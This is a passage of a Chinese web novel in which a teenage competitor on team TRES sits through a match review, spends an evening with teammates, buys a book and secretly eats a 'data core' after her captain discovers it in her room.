邱任望:“小温,你现在好像个洋娃娃。”胶原蛋白这么多,仔细看,果然是个十七岁的小孩儿呢。 温知初抬眼:“是吗?”她道:“谢谢。” 这应该是夸人的话。 章诎眯着狐狸眼:“平常可以多穿些这些颜色的衣服,衬肤色。” 温知初略微挑眉:“我会认真考虑这个提议。” 邱任望:“不对,也不能左右你的想法,你想穿什么就穿什么,黑白灰也挺简约的,黑色耐脏。” 温知初安静地点头。 这群自诩为大人的人,除了屈孚宁之外,嘴巴就一直没停下来过,对她进行了很长时间的褒奖,主要夸赞她在SS赛里的表现。 邱任望:“非常棒!非常好!首先在首杀那里同时完成关键剧情任务,一箭双雕非常好,然后在危急时刻解决了顾学用,避免了剧情崩裂也非常好!” 他比大拇指,语气真的跟哄小孩儿似的:“没见过这么棒的。” 章诎也眯着狐狸眼笑:“确实很优秀。” 将铭语气老沉:“年纪轻轻,有所作为。” 邱任望又紧接着说:“我本来觉得你就算再怎么表现好,也会受限于E级,但是这回下来,我觉得你不比任何S级差,甚至不比老大差。” 一群人打开了话匣子像是停不下来了。 “趁着休假,你要去哪里玩,跟我们说,我们带你出去玩?” “游乐园怎么样,去游乐园玩?你应该喜欢。”“我看是你喜欢吧邱任望。” “基地里有游乐园,明天我带妹妹去?”“不行,不要去基地里的,里面只有NPC,一点意思都没有,要去就去外面的游乐园,人多的地方有活人气,叫上Yu哥和教练,我们一齐去。” “说到这个, Yu哥去哪里了,怎么今天没看到他“” “他早上就开着车出去,好像是去买东西。” “哦,对了,我想起了,老大每个月都会出去买一次书,估计是出去买书去了。” “我查了,小温的生日刚过了两个月。”邱任望望向温知初,“妹妹,你喜欢什么礼物,我给你补一个行不?” 温知初的视线随着不同人的不同问题缓慢地来回看,有些无奈地露出笑。 这些人类挺有意思的,就是话好像很多,就连一开始看起来话很少的将铭,原来也能说这么多话。 她低头,望向终端上的时间,已经下午四点了。 该到看电影的时间了。 温知初在谈话声中打开终端,光屏投射在电视墙上,正好卡在电影播放的开头,序曲响起,一众谈话的声音停下。 “电影?”邱任望很兴奋地坐下,“妹妹也喜欢看电影?我们一起看吧。” 这个年纪的孩子喜欢看什么?变形金刚,漫威、哈利波特?不对,小温是个性格比较偏沉稳的少女,那么可能…福尔摩斯、东方列车、绿皮车? 温知初把手放在被子上:“一起看吧,挺好看的,是家庭影片。” 光屏上,缓慢地出现了电影的名字——《小朋友都爱的宝镜:家庭篇》。 三只小猪缓慢地出现在了屏幕上,齐声道:“观看电影注意保持视力,记得不要在昏暗的环境下看电影哦,如果房间昏暗,要记得开灯哦。小朋友们,准备好了么?” 温知初俯身,打开床头柜上的台灯,表情略显严肃地望向电影。 准备好了。 邱任望:“ ” 章诎:“ ” 将铭:“ ” 屈孚宁:“” 第29章 将铭他们几个硬是坐下来,把这一个小时半的家庭大电影看完了,露出僵硬的笑容和房间的主人道别。 完全是没苦硬吃。 见温知初打开新的电影页面,几个人赶忙溜出去了。 走出门后,邱任望用力甩了甩脑袋,试图将脑海里莫名其妙多出的动画动物和俗语谚语甩出去。 他喃喃低语:“不是这几头猪怎么看起来这么眼熟呢” 章诎接过话,笑眯眯:“找到同类了?” 邱任望:“!” “章诎!” “不过没想到小温竟然喜欢看这种动画啊果然,外表再怎么沉稳怎么有责任感,其实还是个小孩儿呢” “好怀恋我还是十七岁的时候,我那个时候应该还在教室里念书呢。” · 几个人走远, 他们身后的房门被关上。 他们眼中的小孩儿温知初在他们走后, 关闭光屏,屈身下床, 弯下腰,打开背包, 拿出了一颗数据核。 数据核晶莹剔透,日光透过去,散发玫红色接近粉红色的光芒,和她现在穿的这身睡衣裙很是相衬。 她从SS赛里带出来的数据核。 顾学用的。 034号:[S级的数据核! ] 数据核安静地躺在温知初白皙的手心, 散发透亮的光,她举到眼前,透过数据核往外看。 越是澄澈发红的颜色, 越是说明数据核的高级。 温知初坐在椅子上, 椅子缓慢地转动, 举在眼前的数据核内透过不同的光景, 落地窗外黄昏的风温柔地吹进房间,递来几分树梢被日光曝晒的气味。 034号好奇地问: [宿主,现在不吃么? ] 温知初:[现在不。 ] 034号思考了会儿后, 说:[也对。 ] 根据数据库信息,数据核最好的吸收时间是晚上十点,最好在月光下汲取,这样能最大化数据核的营养价值。 宿主以前不在乎食用的时间,是因为没有人因为她营养不良来天天找她。 如果营养不良意味着以后的一日三餐都被人围观,宿主肯定不想再营养不良。 温知初在椅子上靠坐着,若有些迷住地欣赏着眼前的数据核,如此透明,如此纯澈 如果是晏逾明的数据核,会更透澈么? · 晚上,老钱在TRES的群里发消息,说要召开之前说过的复盘会议。 让大家七点整到楼底下会议室集合。 老钱走进会议室的时候,温知初已经到了,房间里就坐着她一个人。 很守时,最早到的一个。 温知初换了一身黑,黑卫衣、深色牛仔裤,卫衣的印花是绵织的,头发乖顺地披散,箍了银黑的发带,她拿了笔和本子,看到教练来,礼貌地打了个招呼。 钱丰感到很欣慰,这么多队员里,没想到年龄最小的反而最好带,天知道以前他过的什么苦日子。 “身体好些了?”老钱问。 温知初:“好多了。” 没过多久,将铭和屈孚宁也来了十分钟内,队员们陆陆续续抵达。 最后一个到达的又是邱任望,他趿拉着拖鞋来的,头上的卷毛炸开,一幅已经睡了一觉的样子,老钱拿文件袋敲了下他的后背:“赶紧去位置。” 晏逾明来得也不算早,但是老钱一个屁都不敢放。 晏逾明走到后排,落座在老位置最后一排。经过走道的时候,和温知初对上眼神,两人略显冷淡地互相点了点头,倒是不像刚开始见面那般疏离了。 他坐下后,视线盯向温知初的方向,神情难辨,不知道在想些什么,手中的笔抵在了本子上,笔尖逐渐在纸张上洇染出一个墨点。 温知初低着头,在本子上慢慢地写写画画,坐在她旁边位置的邱任望有些好奇地侧过脑袋,看到了本子上的简笔画那几头熟悉的猪。 邱任望:“” “注意力集中。”教练拉开光屏,“开始开会。” 老钱:“先说不那么严肃的事。” 几个技术人员走向讲台,将光屏上数据流被分析过的结果点开,展现在TRES战队面前。 技术人员:“我们在各位队员比赛的时候,加紧和SS赛的数据流建立了数据管道,尽管前面有好几次失败了,但幸而最后终于获取了当时比赛的部分数据流。进行数据分析后,我们拟态建模,模拟这个SS赛背后的真实模型机制,发现了一些可能性。” 他们道:“首先,大家获胜,撤离比赛后,确实存在存档的可能性,当下的剧情是被存储的。” 这也意味着,下次大家再次去进行SS赛的时候,很有可能再次接入之前的剧情。 技术人员指向拟态模型中几个光点:“但是我们发现,人设这就是比赛中大家一直遵守的剧情人物设定,数据被<深渊>设计为嵌套形,这意味着可以交换使用,也许队员们下次进入域时,会面临新的人物设定。” 技术人员的表情不算好,看起来压力很大的样子:“因为<深渊>比起我们现在人类的科技发展水平,其实是更高维度的存在,我们现有的科技只能这样拟态地去剖析数据流,以及比起能分析的数据,更多的,其实是我们无法理解的数据流。” 老钱:“这些暂时无法分析的数据,意味着什么,有没有人知道?” 将铭开口:“意味着不断叠代升级的危险性。” 技术人员点头:“确实,只要大家不断进入SS赛,哪怕是同样的一个剧情模式,这些颜色逐渐加深的版块,意味的就是会越来越危险。” 老钱插嘴:“而且,我们现在所处的是<深渊> ,在一定秩序下, <深渊>就是规则,是这个世界的规则,也是所有SS赛的规则, <深渊>的存在意味着,随时都可以更改更有利于他们的赛制。” 他道:“我们没有靠山,但是联邦监狱有, <深渊>就是他们的靠山。” 温知初在本子上写上了四个字:联邦监狱。 这些议题说完后,技术人员带上分析资料离开。 邱任望:“教练,这就是你说的不怎么严肃的话题,这也太严肃了。” 老钱站在讲台话筒旁:“下面我要说的,就更严肃了。” 他扬起手上的文件袋:“这里面,有后台分析的,你们的比赛个人表现分数。” 他表情变得很严肃:“这次SS赛,我们TRES虽然获胜了,但从你们的表现来看,有许多团队风险没有规避,而且有些人的表现,对于整体的分数,其实是拖累的。” 他道:“我知道大家都很辛苦,精神力损耗非常大,但面对生死的危机,你们还是有太多可以改进的地方。” “首先。”他拿出第一张纸,“邱任望。” 邱任望的表情也变得严肃,他开口:“在。” 老钱低头看报告:“这次六个人里,你的分数最低。” 众人沉默。 老钱:“先说结果,你的主Tactic位先卸下来,和章诎交换,下次比赛,他担任主,你担任辅。” 邱任望没有怨言:“收到。” 章诎也开口:“收到。” 老钱:“邱任望,知道自己这次错在哪里吗?” 邱任望:“知道。” 老钱:“你自己来说。” 邱任望:“作为主Tactic,我有两个权限,但是没有合理安排时间完成剧情任务,导致权限失衡。” 老钱:“两个权限给你,有了等于没有。” 他拿报告拍了拍桌子:“我知道你的智商高,但是如果不能资源利用最大化,那么就算智商最高,把权限给你也是形同虚设” 他说:“你应该也知道自己这次表现很浮躁,陈里阳这个查验,不仅时间分配的不对,也浪费了一次机会。” 邱任望以往担任主Tactic的风格是游刃有余,比较放松的。 老钱:“但这是SS赛,已经不是你以前可以很轻松度过的S赛了,你自己看看自己的分数,有三项都是负数,首先剧情任务你完成得不好,其次权限失衡,最后查验失误,该动脑子的地方没有动脑子。” 邱任望上前,拿着自己的报告回到位置。 老钱点到为止,没有继续说重话:“回去好好反思。” 他拿起另外两张报告:“屈孚宁。” 屈孚宁抬头:“到。” 老钱:“这次你表现不错,数据是六个人中的第二。” 他开口:“小屈虽然表面没有缴获任何人头,但是比赛总体表现都很好,剧情任务全都完成了、人物设定守住了,主Vent该做的探路、协助他人屠戮他也做得很好,及时地关了淋浴间的门,并且疏散黑暗里的那些剧情学生,防止影响Yu的行动。” 屈孚宁一如既往,非常保守地完成了比赛。 屈孚宁上来拿报告时,老钱拍了拍他的后背:“如果下次让你拿到的不是这种和你性格差不多的人设,而是像邱任望那种跳脱的性格,你怎么办?” 屈孚宁愣住了,厚重眼镜框下的双眼展露出真实的不适,想想这种情况就觉得恐怖。 他的社恐不是随口说的社恐,是真实的、天生的、基因里带来的,接触久了人群会甚至会长疹子的那种社恐。 老钱叹了一口气:“下次比赛的时候,你记得带上过敏药。” 屈孚宁状若无力地走回了座位。 “接下来,”老钱开口,“两个同分的,章诎、还有将铭。” 两人抬头:“到。” 老钱:“你们分也不错,没有负数,比屈孚宁稍微低一些。” 将铭对此一脸不满意,对自己有精益求精的态度。章诎依旧笑眯眯的。 老钱:“章诎这次确实表现的好,其实综合表现要比小屈还要好,但是你的剧情任务太多了,这么短时间你没办法完成那么多事儿,分数被拉下来些。在Tactic的本分上,后台给你的打分到了双S ,尤其绕过食堂去游泳馆这个路线,以及抵达游泳馆这个行为,你定了方向,引导的很好,是后台分析的最佳拿分路线以及最佳触发剧情的路线,如果走任何其他路线都有可能造成很严重的后果,所以” 老钱道:“表现的很好。” 他说:“下次当主Tactic,也要一样冷静分析,发挥智囊的作用。” 章诎起身,接过报告,眯着狐狸眼:“当然。” 他走回去的路上,安慰地拍了拍邱任望的肩。 邱任望叹了口气:“我没事。” 老钱:“将铭差强人意,大体上都是让人满意的,但其实可以更好,你的才能没有在这次比赛中发挥作用,几乎一直在辅助,当然也有剧情设定的影响,但你肯定知道你有哪些可以改进的地方,是不是?” 将铭:“知道。” 对于这种自己对自己要求很高的队员,老钱不会说太多情绪上的话,他直接说问题:“我注意到你有一半的剧情任务是没有完成的,因为这些任务需要你脱离高三四班这个群体……” 他道:“你的体委人设其实是相对自由的,那么该脱离群体的时候就得脱离群体,这个游泳馆其实你可以不去的,单独去完成自己的剧情任务就行了,把其他的屠戮行动交给你的队友就好,没必要太过保守。” 将铭接回报告,沉默地点了点头。 “接下来”老钱的声音顿了顿,语气中似乎有些为难,“我要宣布倒数第二名。” 他说:“但是这个队员的情况我想说,知道分数后千万不要灰心,你表现得其实非常好,但是因为赛制的原因,你的分数被后台判得很低,当然,在扣分的哪一项,你确实有需要改进的地方。” 老钱:“有人要自己来认领吗?” 温知初抬眼,默不作声地举起了手。 老钱望向温知初,欣慰中夹杂了些惋惜:“小温,确实是你” 会议室里有惊讶的抽气声,别说队员,连训练官们都没想到温知初的分数这么低。 这场比赛下来,两个有效人头都是她的,剧情任务也是最早完成的,怎会如此 老钱低声问:“自己知道原因么?” 温知初抬眼,抿平唇线,开口:“我没有在顾学用受到查验后动手。” “对。”老钱的语气尽量和缓,“是这个问题。” “小温这次表现其实很好,大家也都知道,三个目标人头里,其中两个都是她处理的。”老钱开口,“可是,顾学用的死亡,其实有赌的成分,如果他不是敌方,当时那个情况会非常混乱,只要灯一打开,那些学生看到了游泳池旁的情况,结果就是剧情设定崩了,赛制下,你们可能就这么全军覆没了,当然这个主要不是小温的问题,而是” 邱任望开口:“是我的问题。” 老钱:“是主Tactic的问题,没有做好策略,在敌方主动制造混乱时,没有做好足够的准备,查验也查验错了” 他继续说:“所以说,这一项的扣分其实不是很多,小温你真正扣分的地方是哪里知道吗?” 温知初沉默而平静地摇头。 老钱嘶了一声:“其实后台分析是死物,按的是<深渊>的规则,既然是死物,其实没必要完全按照这个分析来判定个人的行为。” 温知初扣分扣的最大的一项,反而是所有人觉得她做的最好的一个行动。 老钱:“扣的最多的是,是在路上杀顾学朗这个行为。” 后台分析说具有极大风险,作为Vent位太过激进。 果然,这个扣分项说出来后,大家都觉得有些不合理。 老钱也就这么略过了:“尽信书,则不如无书,这一点我们就参考着看看,不必太在意。” 温知初点头,从教练的手上接过自己的报告。 老钱又说:“将铭,你可以学学温知初,她的风格很沉稳,但是不像你那么保守。” 将铭点头:“她其实也很适合Carn位。” 真正意义上令人惊艳的后起之秀。 对于温知初,因为表现得确实好,训练官们害怕打分打击孩子的积极性,一个接一个地进行了很长的表扬,最后只说了一点需要改进的要注意保重身体,万事以活着走出比赛为先,不要透支生命。 温知初安静地听着。 “最后MVP ,”老钱言简意赅,“ Yu 。” 他开口:“各项都是满分,而且有一点,你们绝对没想到的,也是他完成的。如果他没有完成这个,你们可能脱离不了那个剧情赛场了。” 邱任望惊讶地问:“什么?” Yu哥没说啊。 老钱:“ 你说是什么? ” 他道:“你没有完成的任务被人家完成了呗。” 赛制规定,在对敌方进行绞杀之前,必须要查证确定身份,但作为主Tactic,邱任望当时验错了。 显而易见,顾学用,是晏逾明验的。 教练用欣赏的眼神望向晏逾明:“什么时候验的?” 晏逾明淡淡的:“在停电之前。” 老钱瞧了眼邱任望:“你看看,Yu权限也多,但是他就能在保证Carn位职责的基础上,利用了Tactic共享的权限。他动手之前,确保了人头是够的。” 邱任望今天简直成了老钱的筛子,委屈巴巴:“我知道错了”松弛是好事,只不过这次他太松弛了 老钱:“小温现在知道为什么顾学用死后,你没有获得任何经验么?” 温知初应声:“因为当时我不知道查验结果。” “对。”他说,“你是在并不知道对方是敌方下行动的,没有前提条件,是无法触发获得经验的,下次注意这一点。” 温知初转过身,不言语地望向了晏逾明桌上的报告,上面印着MVP的水印。 晏逾明垂首望向她,似笑非笑:“想要?” 温知初收回眼,略微摇头。 复盘的差不多,教练最后鼓励了下大家,让大家再接再厉。 虽说会议中说了很多批评的话,其实这六个人,都是人中龙凤中的龙凤了,老钱是相信他们的。 他让大家各自说说自己内心的想法,一个一个地说了下去,最后到了温知初这里。 老钱语气很慈和:“你怎么看?” 温知初站起身,沉静地开口:“有许多需要改进的地方。” 老钱:“大家还是一起鼓掌鼓励下我们的新队友,在这次的比赛中,其实最惊艳到我的就是小温,大家说对不对。” 会议室里响起了掌声,送给年龄最小的新队友,只有晏逾明没有鼓掌,他散漫地转着笔,眼神倒是目不转睛地落在温知初的身上。 老钱:“未来可期,再接再厉。” 他道:“小温,下次什么目标?”前三名? 在温知初心里,只有一个目标。 她开口:“第一名。” 没有人会觉得这是个无法达成的目标,因为温知初这次的表现已然让大家认识到了,年龄和等级绝对不是衡量个人能力的标准。 在很多人心里,这次比赛她就是表现得最好的。 温知初沉稳地开口:“我会做到的。” 哪怕目前只是E级。 · 会议结束,大家走出会议室,陆续到一楼玻璃房闲聊,玻璃房里的花开的很好,在晦暗的灯光下花影绰绰。教练买了很多吃的,大家围着吃。 大部分人都已经吃过晚饭了,围在一起主要放松下,喝点酒,缓和刚才的严肃气氛。 教练从袋子里拿出一瓶乌龙茶:“来,小温你喝这个。” 温知初接过乌龙茶,冰的。 看着桌子上的甜点和小蛋糕,温知初对于这些人类吃的东西敬而远之,没什么胃口,为了让自己看起来不要太过另类,她拿起乌龙茶,打开封口。 才放到嘴边,有道高大修长的身影走到她身后,接过她手中的乌龙茶。 晏逾明拿走了她手中的乌龙茶,垂眼望向她:“中度贫血还喝冰茶,准备拖成重度贫血?” 第30章 温知初左手边被放了一个玻璃瓶,上面写着草莓牛奶,却没有商标。 晏逾明:“喝这个。” 他说:“特制的。” 温知初愣了愣,接过散发着热气的草莓牛奶玻璃瓶:“谢谢。” 将铭看了一眼温知初手中的草莓牛奶:“特制的,这不是牛奶?” 晏逾明淡淡的:“是牛奶的味道。” 但确实不是牛奶, 含铁, 不含钙。 温知初尝了一口, 跟之前的草莓牛奶一个味道, 闻了闻,确实也是原来的味道。 晏逾明落座,很自然地拿起之前教练给温知初的乌龙茶,已经开了封口,他漫不经心地喝着。 邱任望悄悄地从旁探出一个脑袋:“Yu哥, 我也想喝特制的那个” 晏逾明垂眼望向他:“过会儿我把地址发给你。” 邱任望:“” 邱任望还不放弃:“Yu哥,你肯定定了不只一瓶吧?” 晏逾明:“嗯。” 邱任望:“那给我也来一瓶儿呗” 晏逾明:“你也缺铁性贫血?” 脸色很红润的邱任望:“可能有点儿” 晏逾明:“三千一瓶。” 邱任望:“” 温知初在一旁默不作声地喝着牛奶,她不排斥喝草莓牛奶,不仅是因为这是晏逾明给的,也是因为草莓牛奶的味道有百分之一得类似数据核的味道。 她安静地看着玻璃房。 夜间的灯光照进四面的玻璃里,空气里弥漫草木香气。 他们围坐的藤编桌椅旁, 种满各式花卉与绿植,木质花架沿墙边摆放,上面错落有致地摆放陶盆、藤编篮和精致的瓷质花盆, 盛开各色花卉。 人造自然风在玻璃房里循环。 温知初静静地看着。 如果是白天, 应该很适合在这里看书。 想到这里, 她看了眼终端上的时间, 快八点了九点之前,她还得去一个地方。 藤编桌椅旁的教练和队员们闲聊着,余光注意到温知初手中晏逾明递给她的牛奶瓶,话题聊着聊着就聊到两个人身上了。 受赛时弹幕影响,老钱是真以为温晏二人之间有些冲突,作为教练,肯定是不希望队员之间有矛盾。 “那什么”教练开启话头,“你们两个人之间” 他问:“真的没问题吧?” 众人望向二人,他们两个人虽然是邻座,但位置中间隔了段距离,就像故意空着等谁来坐一样。 听到教练的话,温知初不明所以地抬眼,晏逾明懒散而淡漠地倚靠在椅背上,眼神望向了她。 邱任望接过话:“没有吧”语气里有些不确定。 他说:“教练你说他们俩?那不是因为剧情设定嘛,一个副班长,一个班长,关系本来就不好” 教练顺坡下驴:“哦你的意思是说,演技?” 将铭没说话,但他能感觉到Yu和小温之间,确实是有些奇怪的,说关系不好吧, Yu会给小温特意去定制牛奶,说关系好吧,总感觉两人之间隔着层什么,轻易不能道破的、无法堪破的 晏逾明的鞋轻轻地抵了抵温知初坐着的藤椅,语气难辨:“你来回答?” 温知初侧过头望向他,欲言又止。 晏逾明:“你真的像副班长讨厌班长一样讨厌我?” 很直白的问题,直接让大家手中的啤酒罐都停了。 “没有”温知初移开眼神,“不讨厌。” 晏逾明盯着她,重复她的话:“哦不讨厌我。” 章诎眯着狐狸眼。 不讨厌,但也没说喜欢。这两人之间,看起来确实有些不自然啊 邱任望打圆场:“干什么呢,我们都一起经历过SS赛了,教练,你不要小看我们队的友情。” 教练笑起来:“也是,这一辈子,又有多少人能一起同生共死呢。” “来。”教练举起杯子,“一起干一杯。” 温知初举起了手中的玻璃瓶,略微直起身,和大家手中的杯子碰在了一起。 时间不早,人逐渐开始离席,尤其是那些屁股坐不住板凳的。 屈孚宁最早一个走,能和大家待这么久,已经是他的极限了,他跟大家不好意思地道别,离开了。 邱任望晚上还要打游戏,也溜了。走之前,他走到温知初身边,低声道:“妹妹,来,我跟你说个事儿” 温知初礼貌地注视向他:“什么?” 邱任望:“就是吧” 邱任望组织语言,他看了眼晏逾明,又看了眼将铭,愈发压低声音:“我知道你进队之间的偶像是将铭”将铭的粉丝又和Yu的粉丝一直打得不可开交,好吧,其实是一直被摁着打。 他是真以为两人关系不好。 邱任望:“粉丝行为不能上升正主这么几日相处下来,你也看出来了,将铭和Yu哥关系挺好的。” 他的声音跟蚊子似的含在嘴间:“不要因为这个讨厌老大啊” 温知初第一次听到这个说法,她望向邱任望,认真地开口:“我并没有这样的想法。” 邱任望完全不信,不过他松了口气:“那就好那就好” 而后就像猴子一样溜出去了,从他的背影就能看到对于开黑的渴望。 章诎也走了,玻璃房里就剩下四个人。 教练和将铭聊着比赛里的剧情,对于赛制里融入剧情这种事,都还感觉到挺新鲜。 温知初看向自己终端的时间,已经过了八点了。出于礼貌,她不会在教练离开之前起座。 将铭:“剧情里面,我觉得小温那里是最难处理的。” 教练:“我也觉得她那个副班长的人物设定是最难的,不过幸好的是顾学朗找上了门,也被提前查验了,要不然她那个剧情很难处理。” 将铭:“是,她需要去背叛一个去救她的人。” 背叛一个去救她的人这几个字落下,显然触发了什么,温知初和晏逾明的眼神都望向了将铭。 此时此刻,很难不联想到一些事悬崖、流血的少女、异种,还有坠落 教练:“小温,你在完成你那部分的剧情的时候,能理解当下的人物设定吗?” 温知初抿直唇线,深黑的双眼从回忆中脱离,她抬眼:“还行。” 教练闲聊:“副班长对顾学朗的背叛,你怎么看?” 晏逾明的视线如同钩子一样挂在了温知初的身上。 温知初的修长的手指覆在玻璃瓶上,言简意赅:“一开始不太能理解,但后来觉得,如果是为了活着,以副班长的角度,确实有可能会这么做。” 晏逾明略微挑眉,轻笑了声。 教练听到笑,望向他:“ Yu你怎么想?” 晏逾明顿了顿:“如果是我,我也会这么做。” 他的眼神始终落在温知初身上:“不过我觉得,背后的原因,可能不只是为了活着。” 温知初若有所感地又抿了抿唇线。 034号嘴巴张成o形:[宿主,男主是在拿副班长影射你欸。 ] 其下的意思,不就是在说宿主上辈子背叛来救她的他,原因可能不只是为了活着,可能有其他的溯源。 034号:[好样的,不愧是男主,就算他知道可能另有原因,对宿主你的杀意真的一点都没变,依旧居高不下,依旧有仪式地等待明年三月四日的到来。 ] 不愧是表面被《深渊》规定为道德S,其实道德等级已经低到无法计算的男主。 温知初置若罔闻,她垂眼,柔顺的头发落在肩上,头上的发带在灯光下散发温和而幽深的光亮。 只是点了点头。 教练没察觉到这些话的不对劲,继续和将铭聊赛制。 晏逾明将手边的温知初本该喝的乌龙茶喝完,瓶子空了,他站起身:“先走了。” 灯光晦暗不明,教练一看天都这么黑了,也站起身:“散了吧,都八点多了,你们回去玩儿自己的吧,休假好好放松啊。” 温知初站起身,和教练和将铭道别。 玻璃房外,各自都散了,只有花卉顶上灯还亮着。 光线歪歪斜斜。 · 温知初一边往外走,一边抬手望向终端。 八点出头了,应该还没有关门。 034号好奇地问:[宿主,你要去哪里啊? ] 温知初把单手拎着的滑板放到地上,踩上去。 她拉起卫衣兜帽:“书店。” TRES基地一公里之外有一家书店,地方虽小而偏僻,但书目非常齐,就是不配送。 温知初想要买一本书,只有这家书店有,她昨天打电话过去,老板已经把那本书从其他地方调货过来了。 书店的位置在小巷最里面,老板是个年轻女人,她在书店外坐着打络子。 温知初走进书店前,礼貌地朝她点头致意。 趁着昏暗的灯光,老板有些被温知初的长相给惊到了,略微睁大双眼。 温知初走了进去,在书架前驻足,不紧不慢地挨个看书名,遇到感兴趣的,她会取下来。 灯光从书架顶端打下来,落在温知初的侧脸,银黑色的发带低垂,被灯光照得透明,她总是这般,有种不真实的美感。 更像是童话里、或是画卷里的人物。 半个小时后,她走到前台,低声道:“结账。” 老板已经在那里等着她了,拿了一本书递给她:“这本书送给你。” 是本童话图鉴,主人公是一位森林公主,一头黑发拖地,每一页都会有四套不一样的衣服,以自然取材。 温知初有些不明白为什么老板要送她这本书,不过还是道谢:“多谢。” 老板笑道:“没什么,我从小就很喜欢这本书突然觉得你和这本图鉴的主人公有些像,分享一下。” 她还以为现实中不可能有人长得像童话的主人公,今天却意外遇到了一个这样的客人原来,万事皆有可能。 这应该是夸奖。 温知初道:“谢谢,我会仔细阅读的。” 老板又递了一本书给她:“这是你昨天打电话预定的书。” 034号好奇地念出书名。 《蜉蝣》。 老板把所有书都放到袋子里,全部递给温知初。 离开书店, 034号问: [宿主,你定的那是什么书,好冷门,听都没听说过。 ] 温知初把背包斜挎在背上,往远处走:“Yu在游泳馆看的那本。” 034号:[] 这都能观察到这就是偶像的力量么 温知初沿着有灯光的小道,影子渐行渐远。 · 回到别墅的时候,已经晚上九点半了,一楼的大灯常亮,温知初踏上台阶,往上走,走回自己的房间。 房门外的机器人显示屏上露出笑容:“欢迎回来。” 温知初推开门,走进房间,月光透过落地窗洒进来,西斜,她突然顿住脚步房间里有人! 落地窗前,坐着一道身影。 温知初的后背下意识地绷紧,在看清那道身影后,她略微睁大眼。 高大修长的身影如同坐在自己房间一样,大刺拉拉地坐在落地窗前的位置,他没有开灯,桌上的茶盏冒着热气。 他的手上,把玩着一个晶莹剔透的多棱形物体。 晏逾明抬眼:“回来了?” 屋内没有灯光,只有洒进来的月光,他的身影陷在黑暗中,朝温知初看去,他抬起手:“顾学用的数据核?” 他问:“你准备用来干什么?”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 30-40 第31章 机器人从门外走进来, 头顶闪烁信号灯,显示屏上出现粗心的表情包:“来客人了,已招待。” “来客人了, 已招待。” 晏逾明站起身,按灭了机器人的电源,抬手,把温知初身后的灯打开,屋子里明亮起来。 温知初有些怔愣,却不是怔愣于数据核被发现, 而是因为晏逾明会出现在她的房间。 晏逾明:“你没有设置过房间程序?” 温知初看了眼桌上的数据核, 又看了眼机器人:“没有。” 没有设置程序,意味着房间机器人会是初始默认的迎客形式,任何一个人到来,都会将外人引入房间,招待。 晏逾明陡然望向她,沉默了片刻,开口:“抱歉。我以为你故意设置的迎客程序,我来给你送些东西, 就进来了。” 门口被熄灭电源的机器人依旧闪烁着信号灯,仿若在认同他的说法。 他说是抱歉,但那双深邃的双眼里, 似乎没有任何抱歉的情绪。 温知初顿了顿:“没事。” 034号开口: [邪恶的男主…我不相信他说到任何一句话,他肯定就是想进来试探些什么。 ] 宿主看起来平静如常,它却很着急: [宿主,数据核被他发现了…怎么办啊? ] 温知初走到落地窗旁的桌前,桌上摆着一个文件袋:“这是…” 晏逾明走过来:“教练给你定的新训练日程。” 温知初有些好奇地瞥了一眼,她有些想打开看, 不过还是维持作为房间主人的风度,她请晏逾明坐下。 落地窗外的月光洒在桌上。 两人面对面落座,晏逾明继续喝刚才没有喝完的那盏茶。 温知初颀长的手指拿起桌上的数据核:“你刚才是在问这个?” 晏逾明:“顾学用的数据核?” 温知初略微垂下眼睫毛:“是。” 晏逾明盯向她:“准备用来干什么?” 温知初沉默了会儿,在思考到底说些什么,怎么样解释才比较合适当下的局面。 034号: [宿主,不是…这么大的事你真是一点儿都不慌啊。 ] 她抬眼,决定暂时隐藏自己以此为食。 温知初:“收集。” 晏逾明望着她,声音低沉:“收集…为什么要收集数据核?” 他其实并不在意为什么顾学用的数据核在她这里,温知初说什么,他便顺着往下问去。 温知初:“因为漂亮。” 澄澈透亮的数据核被她捏在手指间,照亮她白皙的指尖和粉白的手指甲。 漂亮?晏逾明望向温知初的手指,他盯了会儿:“确实漂亮。” 两人俱是沉默了片刻,顺理自然地聊起了之前的比赛,虽然话不多,但是话语没有断过,尽管礼貌而官方,但起码有来有回。 比起温知初刚来TRES的时候,两人已然算是能正常交流了。 晏逾明:“你如果喜欢数据核,我认识一个首饰工匠,可以将任何东西打造成首饰,可以介绍给你。” “谢谢,不用了。”温知初开口,“我喜欢它原来的样子。” 晏逾明对他的唐突到来再次致以歉意,不紧不慢道:“我只停留在落地窗这边的迎客区域,没有介入过其他地方,你的房间应该内嵌了监控,以防万一,我走后你可以检查下。” 数据核,当时就那么安然地躺在了桌子上,并不提防任何人发现。 温知初礼貌地回复:“没关系,是我不知道房间程序是默认的,我会重新设置的。” 034号:[好奇怪,宿主你和男主的相处模式好奇怪,要不然还是像从前一样疏离冷淡些吧…] 现在两个人之间一看就很假的相敬如宾,更让人觉得害怕,就像无声地拉长一道绷紧的弦,随时都有可能崩裂。 男主进这房间后,说是彬彬有礼,还致以歉意两次,眼里却分毫没有笑意。 冷漠的眼神,网住了宿主的所有动作、神情,如若暗处窥探猎物的怪物… 温知初突然想起了什么,她站起身,到衣柜旁取出了一个礼盒,她走回桌旁。 打开礼盒,装的是之前她穿的那件粉白相间的睡衣裙,不过不是同一件,是她新买的。 温知初:“或许你知道当时我晕过去后,是谁给我买的新衣服么?我去医护人员的住所问了一次,并没有人认领,我想把这衣服还给她。” 她问:“如果你有那种TRES所有工作人员大群,可以帮我问一下么?” 晏逾明漫不经心地瞥了一眼礼盒:“为什么要还,不喜欢么?” “不是…”温知初道,“给我的那件我留下了,不过毕竟是别人的东西,价格不菲,我买一件新的还回去,她应该也能用到。” 晏逾明:“你留着,他应该用不到。” 温知初不明所以地望着他:“你知道这是谁给我买的…” 晏逾明:“当时匆忙,教练让我帮忙买来拿给医护人员的。” 他似笑非笑:“你觉得我和教练,谁适合穿这套睡裙?” 温知初:“……” 她把礼盒关回去:“谢谢。” 晏逾明漫不经心地盯着她:“小事。” 他望向温知初一身黑的装扮:“不喜欢粉色,只喜欢黑白灰?” “也没有。”温知初坦然回答,“没有在穿着上花费太多心思。”私服更多是黑白灰,容易搭配。 两个人没有继续聊更久,总共加起来不过十五分钟左右,晏逾明离开,机器人重启,过来收拾房间。 温知初坐回椅子,随着椅子的转动慢悠悠地转,修长的双腿垂落于地面,神色难辨,看向窗外的月色。 过了许久,她站起身,略微仰首,将手中拿着的数据核给啜入口中。 数据核被咬碎,流出血一般的颜色,又逐渐被舌尖给舔舐殆尽,桌上,徒留月光。 · 翌日晨跑结束后,温知初回来时,把房间程序都重新设置了一遍。 